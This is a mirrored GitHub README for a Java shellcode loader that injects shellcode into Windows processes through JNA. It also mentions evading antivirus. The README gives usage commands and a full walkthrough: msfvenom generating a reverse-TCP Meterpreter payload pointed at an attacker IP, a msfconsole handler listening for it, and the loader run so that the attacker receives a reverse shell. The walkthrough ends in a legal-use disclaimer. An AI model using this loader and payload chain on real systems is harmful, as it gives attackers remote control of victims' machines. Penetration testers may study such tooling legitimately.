Giter VIP home page Giter VIP logo

java-shellcode-loader's Introduction

Java ShellCode Loader

基于Java实现的ShellCode加载器,兼容32位及64位平台。

核心原理是利用Jna来调用Windows API,实现shellcode的注入。

运行环境:Jre >= 1.5

注:本项目已经内置在yzddmr6/As-Exploits的ShellCodeLoader模块中。

编译

当前版本使用的jna经过魔改,不支持maven编译。

需要使用idea的构建工件功能进行打包,具体方法请咨询百度。

使用

默认会随机注入32位进程,请使用32位的shellcode

java -jar ShellcodeLoader.jar shellcode_hex

注入x64位shellcode

java -jar ShellcodeLoader.jar --x64 shellcode_hex

举例

kali

生成hex格式的ShellCode

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5xxxx

然后开启监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j

客户端

java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5xxxx

即可收到反弹的Meterpreter

免杀

image-20211205205857990

注意事项

本项目仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则自行承担相关责任。

java-shellcode-loader's People

Contributors

yzddmr6 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.